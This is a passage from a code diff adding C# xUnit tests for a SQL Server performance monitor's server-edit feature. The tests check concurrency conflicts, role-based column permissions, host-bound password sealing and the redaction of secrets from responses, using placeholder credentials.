+            Assert.NotEqual(modifiedBefore, await ScalarAsync<string>(rig.Owner, "SELECT modified_at::text FROM config_monitored_servers WHERE server_id = 5101", ct));
+            Assert.Equal(before, await RowSignatureAsync(rig.Owner, 5101, ct));
+
+            /* The tags stayed, on the same id, for the edited server and its neighbour. */
+            Assert.Equal(1L, await ScalarAsync<long>(rig.Owner, "SELECT count(*) FROM server_tag_map WHERE server_id = 5101", ct));
+            Assert.Equal(1L, await ScalarAsync<long>(rig.Owner, "SELECT count(*) FROM server_tag_map WHERE server_id = 5102", ct));
+            Assert.Equal(2L, await ScalarAsync<long>(rig.Owner, "SELECT count(*) FROM config_monitored_servers", ct));
+
+            /* A request equal to the stored values writes nothing: no statement, so no beacon bump. */
+            var versionMid = await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct);
+            var same = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "Orders", "{\"display_name\":\"Orders\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("unchanged", same["status"]!.GetValue<string>());
+            Assert.Equal(versionMid, await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AsTheMcpRole_AnAddressEditOnARowWithARemediationLogin_IsRefused_AndWritesNothing_WhileANameEditSaves()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5191, "alpha-91", "alpha-91.example.test", "integrated", null, null, ct, remediationBlob: "rem-blob");
+            var before = await RowSignatureAsync(rig.Owner, 5191, ct);
+            var versionBefore = await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct);
+
+            var moved = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-91.example.test", "{\"host\":\"alpha-99.example.test\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("invalid", moved["status"]!.GetValue<string>());
+            Assert.Equal(Edit.EditRemediationKeptText, moved["message"]!.GetValue<string>());
+            Assert.Equal("alpha-91.example.test", await ScalarAsync<string>(rig.Owner, "SELECT host FROM config_monitored_servers WHERE server_id = 5191", ct));
+            Assert.Equal(before, await RowSignatureAsync(rig.Owner, 5191, ct));
+            Assert.Equal(versionBefore, await ScalarAsync<long>(rig.Owner, "SELECT config_version FROM config_service", ct));
+
+            var renamed = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-91.example.test", "{\"display_name\":\"Renamed\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", renamed["status"]!.GetValue<string>());
+            Assert.Equal(before, await RowSignatureAsync(rig.Owner, 5191, ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AsTheMcpRole_RoleAndExternalIdEditsGoThroughTheEditFunction_AndEveryOtherColumnStaysUpdatable()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5192, "alpha-92", "alpha-92.example.test", "integrated", null, null, ct);
+            await ExecAsync(rig.Owner,
+                "UPDATE config_monitored_servers SET engine = 'postgres', port = 5432, aws_role_arn = 'arn:aws:iam::123456789012:role/a', aws_external_id = 'tenant-1234' WHERE server_id = 5192", ct);
+
+            /* A direct UPDATE of the role or the external ID is not allowed for this login; the edit function is the way. */
+            var roleUpdate = await Assert.ThrowsAsync<PostgresException>(() =>
+                ExecAsync(rig.Mcp, "UPDATE config_monitored_servers SET aws_role_arn = 'arn:aws:iam::123456789012:role/b' WHERE server_id = 5192", ct));
+            Assert.Equal("42501", roleUpdate.SqlState);
+            var externalUpdate = await Assert.ThrowsAsync<PostgresException>(() =>
+                ExecAsync(rig.Mcp, "UPDATE config_monitored_servers SET aws_external_id = 'tenant-5678' WHERE server_id = 5192", ct));
+            Assert.Equal("42501", externalUpdate.SqlState);
+            Assert.Equal("arn:aws:iam::123456789012:role/a|tenant-1234",
+                await ScalarAsync<string>(rig.Owner, "SELECT concat_ws('|', aws_role_arn, aws_external_id) FROM config_monitored_servers WHERE server_id = 5192", ct));
+
+            /* Every other column is still updatable: the grant names each column of the table but the three AWS ones. */
+            await ExecAsync(rig.Mcp, "UPDATE config_monitored_servers SET name = 'alpha-92b', is_enabled = TRUE, excluded_databases = ARRAY['model'] WHERE server_id = 5192", ct);
+            var columns = await ScalarAsync<string>(rig.Owner,
+                "SELECT string_agg(attname, ',' ORDER BY attname) FROM pg_attribute WHERE attrelid = 'config.config_monitored_servers'::regclass "
+                + "AND attnum > 0 AND NOT attisdropped AND attname NOT IN ('aws_role_arn', 'aws_external_id', 'aws_external_id_set')", ct);
+            Assert.Equal(
+                string.Join(',', DarlingManagedRoles.McpMonitoredServerUpdateColumns.Split(',', StringSplitOptions.TrimEntries).Order(StringComparer.Ordinal)),
+                columns);
+
+            /* An add still names the role, and the edit function still changes it, with the external ID sent or cleared. */
+            await ExecAsync(rig.Mcp,
+                "INSERT INTO config_monitored_servers (server_id, name, host, auth, engine, port, aws_role_arn, aws_external_id) "
+                + "VALUES (5193, 'alpha-93', 'alpha-93.example.test', 'sql', 'postgres', 5432, 'arn:aws:iam::123456789012:role/a', 'tenant-1234')", ct);
+            var token = await ScalarAsync<string>(rig.Owner, "SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config_monitored_servers WHERE server_id = 5192", ct);
+            var outcome = await ScalarAsync<string>(rig.Mcp,
+                $"SELECT outcome FROM config.edit_monitored_server(5192, '{token}'::timestamp, ARRAY['aws_role_arn','aws_external_id']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'arn:aws:iam::123456789012:role/b', NULL)", ct);
+            Assert.Equal("saved", outcome);
+            Assert.Equal("arn:aws:iam::123456789012:role/b|",
+                await ScalarAsync<string>(rig.Owner, "SELECT concat_ws('|', aws_role_arn, aws_external_id, '') FROM config_monitored_servers WHERE server_id = 5192", ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AsTheMcpRole_EmptyRequiredFields_AnswerInvalidValue_OnBothSignatures_AndWriteNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5194, "alpha-94", "alpha-94.example.test", "sql", "monitor", "blob-94", ct);
+            await ExecAsync(rig.Owner,
+                "UPDATE config_monitored_servers SET engine = 'postgres', port = 5432, aws_role_arn = 'arn:aws:iam::123456789012:role/a', aws_external_id = 'tenant-1234' WHERE server_id = 5194", ct);
+            var before = await ScalarAsync<string>(rig.Owner,
+                "SELECT concat_ws('|', name, host, port, auth, encrypted_password, aws_role_arn, aws_external_id, modified_at) FROM config_monitored_servers WHERE server_id = 5194", ct);
+
+            foreach (var columns in new[] { "'name'", "'host','encrypted_password'", "'port'", "'auth'", "'encrypt_mode'", "'read_only_intent'", "'monthly_cost_usd'" })
+            {
+                var token = await ScalarAsync<string>(rig.Owner, "SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config_monitored_servers WHERE server_id = 5194", ct);
+                var seventeen = await ScalarAsync<string>(rig.Mcp,
+                    $"SELECT outcome FROM config.edit_monitored_server(5194, '{token}'::timestamp, ARRAY[{columns}]::text[], "
+                    + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'typed-secret', NULL, NULL, NULL, NULL, NULL, NULL)", ct);
+                Assert.Equal("invalid_value", seventeen);
+                var fifteen = await ScalarAsync<string>(rig.Mcp,
+                    $"SELECT outcome FROM config.edit_monitored_server(5194, '{token}'::timestamp, ARRAY[{columns}]::text[], "
+                    + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'typed-secret', NULL, NULL, NULL, NULL)", ct);
+                Assert.Equal("invalid_value", fifteen);
+            }
+
+            /* A role the table's format check does not accept is the same outcome, and nothing changed. */
+            var roleToken = await ScalarAsync<string>(rig.Owner, "SELECT to_char(modified_at, 'YYYY-MM-DD HH24:MI:SS.US') FROM config_monitored_servers WHERE server_id = 5194", ct);
+            Assert.Equal("invalid_value", await ScalarAsync<string>(rig.Mcp,
+                $"SELECT outcome FROM config.edit_monitored_server(5194, '{roleToken}'::timestamp, ARRAY['aws_role_arn','aws_external_id']::text[], "
+                + "NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'not-an-arn', 'tenant-1234')", ct));
+
+            Assert.Equal(before, await ScalarAsync<string>(rig.Owner,
+                "SELECT concat_ws('|', name, host, port, auth, encrypted_password, aws_role_arn, aws_external_id, modified_at) FROM config_monitored_servers WHERE server_id = 5194", ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AStaleToken_IsAConflict_AndALostRace_IsAConflict_WithNothingWritten()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5111, "alpha-11", "alpha-11.example.test", "integrated", null, null, ct);
+            var first = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-11", "{\"monthly_cost_usd\":1}", Reachable, TestKeyRings.Healthy, null, ct));
+            var token = first["modified_at"]!.GetValue<string>();
+
+            /* The token an earlier answer returned is accepted once, then it is stale. */
+            var good = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-11", $"{{\"monthly_cost_usd\":2,\"expected_modified_at\":\"{token}\"}}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", good["status"]!.GetValue<string>());
+            Assert.NotEqual(token, good["modified_at"]!.GetValue<string>());
+            var stale = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-11", $"{{\"monthly_cost_usd\":3,\"expected_modified_at\":\"{token}\"}}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("conflict", stale["status"]!.GetValue<string>());
+            Assert.Equal(2L, await ScalarAsync<long>(rig.Owner, "SELECT monthly_cost_usd::bigint FROM config_monitored_servers WHERE server_id = 5111", ct));
+
+            /* The race: a write lands between the core's read and its UPDATE. The probe stands in the gap. */
+            Edit.ServerProbe racing = async (_, c) =>
+            {
+                await ExecAsync(rig.Owner, "UPDATE config_monitored_servers SET modified_at = modified_at + interval '1 second' WHERE server_id = 5111", c);
+                return new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null);
+            };
+            var lost = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-11", "{\"host\":\"alpha-12.example.test\"}", racing, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("conflict", lost["status"]!.GetValue<string>());
+            Assert.Equal("alpha-11", lost["current"]!["display_name"]!.GetValue<string>());
+            Assert.Equal("alpha-11.example.test", lost["current"]!["host"]!.GetValue<string>());
+            Assert.Equal("alpha-11.example.test", await ScalarAsync<string>(rig.Owner, "SELECT host FROM config_monitored_servers WHERE server_id = 5111", ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AnAddressAnotherServerHolds_Collides_AndNothingIsWritten()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5121, "alpha-21", "alpha-21.example.test", "integrated", null, null, ct);
+            await SeedServerAsync(rig.Owner, 5122, "alpha-22", "alpha-22.example.test", "integrated", null, null, ct);
+
+            var answer = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-21", "{\"host\":\"ALPHA-22.example.test\"}", Reachable, TestKeyRings.Healthy, null, ct));
+
+            Assert.Equal("collides", answer["status"]!.GetValue<string>());
+            Assert.Equal("occupied", answer["reason"]!.GetValue<string>());
+            Assert.Equal("alpha-21.example.test", await ScalarAsync<string>(rig.Owner, "SELECT host FROM config_monitored_servers WHERE server_id = 5121", ct));
+
+            var ambiguous = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-2", "{\"monthly_cost_usd\":1}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("ambiguous", ambiguous["status"]!.GetValue<string>());
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task ASecretEdit_StoresTheProtectedSecret_AndTheMcpRoleStillCannotReadItBack()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await SeedServerAsync(rig.Owner, 5131, "alpha-31", "alpha-31.example.test", "sql", "monitor", "env:OLD_REF", ct);
+
+            var refused = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-31", "{\"host\":\"alpha-32.example.test\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("invalid", refused["status"]!.GetValue<string>());
+            Assert.Equal("env:OLD_REF", await ScalarAsync<string>(rig.Owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5131", ct));
+
+            var saved = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-31", $"{{\"host\":\"alpha-32.example.test\",\"password\":\"{SecretRef}\"}}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", saved["status"]!.GetValue<string>());
+            Assert.True(saved["tested"]!.GetValue<bool>());
+            Assert.DoesNotContain(SecretRef, saved.ToJsonString(), StringComparison.Ordinal);
+            var storedAfterSave = await ScalarAsync<string>(rig.Owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5131", ct);
+            /* The value is sealed for the row's own connection settings: it opens with the key through them. */
+            Assert.Equal(SecretRef, await OpenStoredAsync(rig.Owner, 5131, TestKeyRings.Healthy, ct));
+
+            var denied = await Assert.ThrowsAsync<PostgresException>(async () => await ScalarAsync<string>(rig.Mcp, "SELECT encrypted_password FROM config_monitored_servers", ct));
+            Assert.Equal("42501", denied.SqlState);
+
+            /* A probe that throws with the submitted secret in its message: the outer catch redacts it. */
+            Edit.ServerProbe throwing = (_, _) => throw new InvalidOperationException("driver said: " + SecretRef);
+            var thrown = await Edit.EditServerByNameAsync(rig.Mcp, "alpha-31", $"{{\"host\":\"alpha-33.example.test\",\"password\":\"{SecretRef}\"}}", throwing, TestKeyRings.Healthy, null, ct);
+            Assert.DoesNotContain(SecretRef, thrown, StringComparison.Ordinal);
+
+            /* A name-only edit leaves the stored secret alone, with no password in the request. */
+            var rename = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-31", "{\"display_name\":\"Beta\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", rename["status"]!.GetValue<string>());
+            Assert.Equal(storedAfterSave, await ScalarAsync<string>(rig.Owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 5131", ct));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    /* ---------------- sealing at add and edit, read back the way the service reads it (#5366) ---------------- */
+
+    private const string TypedPassword = "p@ss-not-real";
+    private const string RetypedPassword = "p@ss-not-real-2";
+
+    /// <summary>The enabled rows, read the way the service reads them at startup.</summary>
+    private static async Task<IReadOnlyList<MonitoredServer>> ReadServersAsync(NpgsqlDataSource owner, CancellationToken ct)
+    {
+        await using var connection = await owner.OpenConnectionAsync(ct);
+        return await StoreConfigProvider.ReadMonitoredServersAsync(connection, new DarlingConfig(), ct);
+    }
+
+    [Fact]
+    public async Task AnAdd_WithALiteralPassword_StoresASealedValue_ThatTheResolverOpensForTheRowsOwnSettings()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            var answer = await Edit.AddServersAsync(rig.Mcp,
+                $"[{{\"host\":\"alpha-41.example.test\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"{TypedPassword}\"}}]",
+                Reachable, ct, TestKeyRings.Healthy);
+            Assert.Contains("\"added\"", answer, StringComparison.Ordinal);
+            Assert.DoesNotContain(TypedPassword, answer, StringComparison.Ordinal);
+
+            var server = Assert.Single(await ReadServersAsync(rig.Owner, ct), s => s.Host == "alpha-41.example.test");
+            Assert.StartsWith("sealed:", server.EncryptedPassword, StringComparison.Ordinal);
+            Assert.DoesNotContain(TypedPassword, server.EncryptedPassword, StringComparison.Ordinal);
+
+            /* The service's own resolver opens it with the key, through the settings the row stores. */
+            Assert.Equal(TypedPassword, DarlingSecrets.ResolvePassword(server, out var usedPlaintext, TestKeyRings.Healthy));
+            Assert.False(usedPlaintext);
+
+            /* A ring that does not hold the key cannot open it, and the same value does not open for another host. */
+            Assert.ThrowsAny<Exception>(() => DarlingSecrets.ResolvePassword(
+                server, out _, DarlingPasswordKey.FromPrivateKey(PasswordPrivateKey.Generate())));
+            var otherHost = server.ConnectionIdentity with { Host = "alpha-43.example.test" };
+            Assert.Throws<PasswordSealException>(() => TestKeyRings.Healthy.Open(server.EncryptedPassword!, PasswordBinding.ForServer(otherHost)));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    [Fact]
+    public async Task AnEdit_WithARetypedPasswordAndANewHost_OpensWithTheNewBinding_AndTheOldSealedValueNoLongerOpensForTheNewHost()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            await Edit.AddServersAsync(rig.Mcp,
+                $"[{{\"host\":\"alpha-51.example.test\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"{TypedPassword}\"}}]",
+                Reachable, ct, TestKeyRings.Healthy);
+            var before = Assert.Single(await ReadServersAsync(rig.Owner, ct), s => s.Host == "alpha-51.example.test");
+            var oldSealed = before.EncryptedPassword;
+            Assert.Equal(TypedPassword, DarlingSecrets.ResolvePassword(before, out _, TestKeyRings.Healthy));
+
+            /* The host moves and the password is not typed again: refused, nothing written (the old value is bound to the old host). */
+            var refused = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-51.example.test", "{\"host\":\"alpha-52.example.test\"}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("invalid", refused["status"]!.GetValue<string>());
+            Assert.Equal(oldSealed, (await ReadServersAsync(rig.Owner, ct)).Single(s => s.ServerId == before.ServerId).EncryptedPassword);
+
+            var saved = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-51.example.test",
+                $"{{\"host\":\"alpha-52.example.test\",\"password\":\"{RetypedPassword}\"}}", Reachable, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", saved["status"]!.GetValue<string>());
+
+            var after = Assert.Single(await ReadServersAsync(rig.Owner, ct), s => s.ServerId == before.ServerId);
+            Assert.Equal("alpha-52.example.test", after.Host);
+            Assert.NotEqual(oldSealed, after.EncryptedPassword);
+            Assert.Equal(RetypedPassword, DarlingSecrets.ResolvePassword(after, out _, TestKeyRings.Healthy));
+
+            /* The value sealed for the old host does not open for the new one. */
+            after.EncryptedPassword = oldSealed;
+            Assert.ThrowsAny<Exception>(() => DarlingSecrets.ResolvePassword(after, out _, TestKeyRings.Healthy));
+            ok = true;
+        }
+        finally
+        {
+            await DropRoleAsync(rig, ok);
+        }
+    }
+
+    /* ---------------- the probe, against a real SQL Server ---------------- */
+
+    [Fact]
+    public async Task AgainstARealSqlServer_ACorrectSecretSaves_AndAWrongOneIsConnectionFailed_WithNoWrite()
+    {
+        var host = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(host), "Set DARLING_TEST_SQL (and _USER / _PASSWORD) to run the live probe check.");
+        var user = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER") ?? "sa";
+        var password = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD");
+        Assert.SkipWhen(string.IsNullOrEmpty(password), "Set DARLING_TEST_SQL_PASSWORD to run the live probe check.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        var ok = false;
+        try
+        {
+            var wrong = "not-the-password-" + Guid.NewGuid().ToString("N")[..6];
+            Environment.SetEnvironmentVariable("SYNTH_EDIT_LIVE_GOOD", password);
+            await SeedServerAsync(rig.Owner, 5141, "alpha-41", host!, "sql", user, "env:SYNTH_EDIT_LIVE_GOOD", ct);
+            await ExecAsync(rig.Owner, "UPDATE config_monitored_servers SET trust_server_certificate = TRUE WHERE server_id = 5141", ct);
+            var before = await ScalarAsync<string>(rig.Owner, "SELECT concat_ws('|', database, encrypted_password, modified_at::text) FROM config_monitored_servers WHERE server_id = 5141", ct);
+
+            Edit.ServerProbe real = (config, c) => DarlingServerConnector.ProbeAsync(config, null, c);
+
+            var bad = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-41", "{\"database\":\"master\",\"password\":\"" + wrong + "\"}", real, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("connection_failed", bad["status"]!.GetValue<string>());
+            Assert.DoesNotContain(wrong, bad.ToJsonString(), StringComparison.Ordinal);
+            Assert.Equal(before, await ScalarAsync<string>(rig.Owner, "SELECT concat_ws('|', database, encrypted_password, modified_at::text) FROM config_monitored_servers WHERE server_id = 5141", ct));
+
+            var good = Parse(await Edit.EditServerByNameAsync(rig.Mcp, "alpha-41", "{\"database\":\"master\",\"password\":\"" + password + "\"}", real, TestKeyRings.Healthy, null, ct));
+            Assert.Equal("updated", good["status"]!.GetValue<string>());
+            Assert.True(good["tested"]!.GetValue<bool>());
+            Assert.Equal("master", await ScalarAsync<string>(rig.Owner, "SELECT database FROM config_monitored_servers WHERE server_id = 5141", ct));
+            ok = true;
+        }
+        finally
+        {
+            Environment.SetEnvironmentVariable("SYNTH_EDIT_LIVE_GOOD", null);
+            await DropRoleAsync(rig, ok);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs b/Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs
new file mode 100644
index 0000000000..482ae31804
--- /dev/null
+++ b/Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs
@@ -0,0 +1,422 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres and never touches another one. */
+
+/// <summary>
+/// The desktop viewer's server edit follows the same password rule as the web and MCP edit (#5240): when a SQL or
+/// service-principal server's host or port changes, the stored password is not reused, and the save is refused until a
+/// newly entered password comes with it. The rule lives in <see cref="ViewerDataService.UpsertMonitoredServerAsync"/>,
+/// so any caller of the upsert gets it, and the dialog asks for the password again before the save and the connection
+/// test. The viewer cannot reference the service, so the rule and its sentence are copies; the first facts hold them to
+/// the service's. The last facts need a store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ServerEditPasswordRuleViewerTests
+{
+    private const int ServerId = 7501;
+    private const string StoredHost = "edit-rule.example.test";
+    private const string MovedHost = "edit-rule-moved.example.test";
+    private const string StoredBlob = "stored-blob";
+    private const string NewBlob = "newly-protected-blob";
+
+    [Fact]
+    public void TheViewersSentence_IsTheWebAndMcpEditsSentence()
+    {
+        Assert.Equal(Edit.EditPasswordNeededText, ViewerDataService.EditPasswordNeededText);
+        Assert.Equal(Edit.EditPasswordNeededText, new MonitoredServerPasswordNeededException().Message);
+    }
+
+    /// <summary>The rule the viewer's edit applies (<see cref="ServerConnectionIdentity.Differ"/>, with the
+    /// form's host trimmed of spaces as the dialog trims it) to a form that changes only the host and port.</summary>
+    private static bool ViewerMoves(string storedHost, int storedPort, string newHost, int newPort) =>
+        ServerConnectionIdentity.Differ(
+            ServerConnectionIdentity.FromStoredColumns(newHost.Trim(' '), newPort, null, null, false, null, null, null, false, false),
+            ServerConnectionIdentity.FromStoredColumns(storedHost, storedPort, null, null, false, null, null, null, false, false));
+
+    [Theory]
+    [InlineData("edit-rule.example.test", 0, "edit-rule.example.test", 0, false)]
+    [InlineData("edit-rule.example.test", 0, "  edit-rule.example.test ", 0, false)]
+    [InlineData("edit-rule.example.test", 0, "edit-rule-moved.example.test", 0, true)]
+    [InlineData("edit-rule.example.test", 0, "EDIT-RULE.example.test", 0, true)]
+    [InlineData("edit-rule.example.test\\inst", 0, "edit-rule.example.test", 0, true)]
+    [InlineData("edit-rule.example.test", 0, "edit-rule.example.test", 5433, true)]
+    [InlineData("edit-rule.example.test", 5433, "edit-rule.example.test", 5433, false)]
+    /* Only the incoming host is trimmed; the stored text is compared exactly, as the core's SameAddress does. */
+    [InlineData("edit-rule.example.test ", 0, "edit-rule.example.test", 0, true)]
+    [InlineData("edit-rule.example.test ", 0, "edit-rule.example.test ", 0, true)]
+    public void TheViewersMoveRule_IsTheCoresHostAndPortRule(string storedHost, int storedPort, string newHost, int newPort, bool moved)
+    {
+        Assert.Equal(moved, ViewerMoves(storedHost, storedPort, newHost, newPort));
+    }
+
+    [Theory]
+    [InlineData("edit-rule.example.test", 0, "edit-rule.example.test", 0)]
+    [InlineData("edit-rule.example.test", 0, "  edit-rule.example.test ", 0)]
+    [InlineData("edit-rule.example.test", 0, "EDIT-RULE.example.test", 0)]
+    [InlineData("edit-rule.example.test ", 0, "edit-rule.example.test", 0)]
+    [InlineData("edit-rule.example.test ", 0, "edit-rule.example.test ", 0)]
+    [InlineData("edit-rule.example.test", 0, "edit-rule.example.test", 5433)]
+    public void TheViewersMoveRule_AgreesWithTheCoresSameAddress_OnTheTrimmedIncomingHost(string storedHost, int storedPort, string newHost, int newPort)
+    {
+        /* The core trims a request's host when it reads it, then calls SameAddress with the stored text as it is. */
+        Assert.Equal(
+            !Edit.SameAddress(newHost.Trim(' '), newPort, storedHost, storedPort),
+            ViewerMoves(storedHost, storedPort, newHost, newPort));
+    }
+
+    [Theory]
+    [InlineData("serviceprincipal", "sql")]
+    [InlineData("sql", "serviceprincipal")]
+    [InlineData("integrated", "sql")]
+    public void TheViewersSwitchSentences_AreTheCoresSentences(string storedAuth, string newAuth)
+    {
+        var row = new Edit.ServerEditRow(
+            ServerId: ServerId, Name: "edit-rule", Host: StoredHost, Port: 0, Database: null, ReadOnlyIntent: false, Engine: "sqlserver",
+            Auth: storedAuth, Username: "app-user", EncryptMode: "Mandatory", TrustServerCertificate: false,
+            MultiSubnetFailover: false, MonthlyCostUsd: 0m, ModifiedAt: new DateTime(2026, 10, 5, 12, 0, 0, DateTimeKind.Unspecified));
+        var (changes, parseError) = Edit.ParseEditChanges("{\"auth\":\"" + (newAuth == "sql" ? "SQL" : "ServicePrincipal") + "\",\"username\":\"app-user\"}");
+        Assert.Null(parseError);
+
+        var (plan, error) = Edit.PlanEdit(row, changes!, TestKeyRings.Healthy.Status);
+
+        Assert.Null(plan);
+        Assert.Equal(
+            newAuth == "sql" ? ViewerDataService.EditSwitchToSqlNeedsPasswordText : ViewerDataService.EditSwitchToServicePrincipalNeedsSecretText,
+            error);
+    }
+
+    [Fact]
+    public void TheDialogDoesNotPrefillTheStoredSecret_AndAsksAgainWhenTheReachMoves()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml.cs");
+        Assert.DoesNotContain("TryUnprotect(existing.EncryptedPassword)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("PasswordBox.Password = decrypted", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("AzureClientSecretBox.Password = decrypted", source, StringComparison.Ordinal);
+
+        /* Both keep-the-stored-blob branches (SQL and service principal) ask first. */
+        var guard = "if (ReachMovedFromForm(";
+        var first = source.IndexOf(guard, StringComparison.Ordinal);
+        Assert.True(first >= 0, "missing: " + guard);
+        Assert.True(source.IndexOf(guard, first + 1, StringComparison.Ordinal) > first, "the second keep-blob branch has no guard");
+        Assert.Contains("catch (MonitoredServerPasswordNeededException ex)", source, StringComparison.Ordinal);
+        Assert.True(source.IndexOf("catch (MonitoredServerPasswordNeededException ex)", StringComparison.Ordinal)
+            < source.IndexOf("Error saving server:", StringComparison.Ordinal), "the refusal is caught before the general catch");
+    }
+
+    private sealed record Rig(ScratchPostgres Scratch, NpgsqlDataSource Owner) : IAsyncDisposable
+    {
+        public async ValueTask DisposeAsync()
+        {
+            await Owner.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    private static async Task<Rig> OpenAsync(string auth, string? blob, CancellationToken ct, string? remediationBlob = null)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer edit password tests (each mints its own scratch database).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(ownerString))
